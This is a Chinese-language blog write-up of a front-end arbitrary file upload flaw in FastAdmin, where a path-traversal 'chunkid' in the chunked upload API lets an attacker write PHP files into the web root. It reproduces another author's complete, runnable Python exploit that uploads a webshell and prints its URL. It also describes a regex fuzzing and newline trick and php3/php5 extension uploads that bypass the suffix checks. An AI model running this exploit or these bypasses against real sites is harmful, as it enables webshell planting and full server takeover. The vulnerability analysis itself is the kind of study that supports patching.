FastAdmin前台任意文件上传 背景 吐槽 不得不说的是这个漏洞我并没有发现
自认为应该能看得出来,但是我确实没看到过类似的代码
看了下网上公开说的影响版本
其实不然,都看了一下总共就影响三个版本,其他的没有相关功能,试试采用的ThinkPHP
框架的原生上传方式
漏洞限制
影响版本
v1.2.0.20210125
v1.0.0.20201008
v1.0.0.20200506
但不得不提的是,确实属于上传的比较少见的一种方式,故学习一下
漏洞的修复 看一下官方怎么说的
说是修复了分片上传的bug
去对比一下代码
基本都是对chunkid
做了正则匹配
漏洞分析 漏洞文件
api/controller/common.php
的upload
方法
可以看到,整个的分片上传分为三个步骤
首先通过chunk
方法上传文件
然后通过merge
方法合并分片上传的文件
最后在merge
方法中调用upload
方法进行文件上传
但其实漏洞的完整触发,只需要前两个步骤就可以了
实际的触发点是fwrite
方法的第一个参数可控
因为chunkid
是通过前台传递过来的所以可以为a.php
的形式
所以实质算个文件写入漏洞吧
漏洞复现 具体复现也不再多写了
漏洞利用脚本 贴个别人写的exp
吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 import sysimport requestsfrom time import timefrom json import loadsheaders = { 'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36' , } def banner (): RED = '\033[31m' print (f""" {RED} _____ _ _ _ _ | ___|_ _ ___| |_ / \ __| |_ __ ___ (_)_ __ | |_ / _` / __| __| / _ \ / _` | '_ ` _ \| | '_ \ | _| (_| \__ \ |_ / ___ \ (_| | | | | | | | | | | |_| \__,_|___/\__/_/ \_\__,_|_| |_| |_|_|_| |_| Author: Search?=Null """ )def upload_chunk (url ): upload_url = url.rstrip('/' ) + '/index/ajax/upload' file = { 'file' : ('%d.php' % time(), open ('hhh.php' , 'rb' ), 'application/octet-stream' ) } chunk_id = time() data_ = { 'chunkid' : '../../public/%d.php' % chunk_id, 'chunkindex' : 0 , 'chunkcount' : 1 } resp = requests.post( upload_url, headers = headers, files = file, data = data_ ) result = loads(resp.text) if result['code' ] == 1 and result['msg' ] == '' and result['data' ] == None : merge_file(upload_url, chunk_id) print ('\nWebshell: %s/%d.php' % (url.rstrip('/' ), chunk_id)) else : print ('Not Vulnerability.' ) def merge_file (url, chunk_id ): data_ = { 'action' : 'merge' , 'chunkid' : '../../public/%d.php' % chunk_id, 'chunkindex' : 0 , 'chunkcount' : 1 , 'filename' : '%d.php-0.part' % chunk_id } resp = requests.post( url, headers = headers, data = data_ ) def main (): global headers banner() if len (sys.argv) == 2 : try : headers['Cookie' ] = input ('Cookie > ' ) upload_chunk(sys.argv[1 ]) except Exception: print ('Not Vulnerability.' ) else : print ('Usage: python3 FastAdmin.py url' ) if __name__ == "__main__" : main()
hhh.php
自行制作图片马即可
其他 与这个相比,个人更喜欢upload
方法,觉得upload
方法拿shell的改率可能比这个都要大一些
相对于20200506
版本之前的代码
可以看到,这是类似与白名单,只要一个不通过就是error
但是新版的代码改变了逻辑
只要有一个通过,则返回值为True
,type
还是可控的参数
所以这里就职存在了两种
一个正则匹配,一个黑名单的问题
实际上这种问题在遇到解析php3
这种后缀的时候直接上传就可以,但是这里想能不能更大化的利用一下
fuzz
一下这个正则
1 2 3 4 5 6 7 8 9 10 <?php $a = $_REQUEST['a']; echo $a; $suffix = strtolower(pathinfo($a, PATHINFO_EXTENSION)); if(preg_match("/^[a-zA-Z0-9]+$/", $suffix)){ echo $suffix; }else { echo "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; } ?>
发现了换行符这个神奇的东西
测试一个传入换行符
可以成功写php
文件
但是比较难受的一点就是这是get
请求测试的,实际的$_FILES
变量并不支持文件名中带有换行符
但是php345
还是支持上传的
end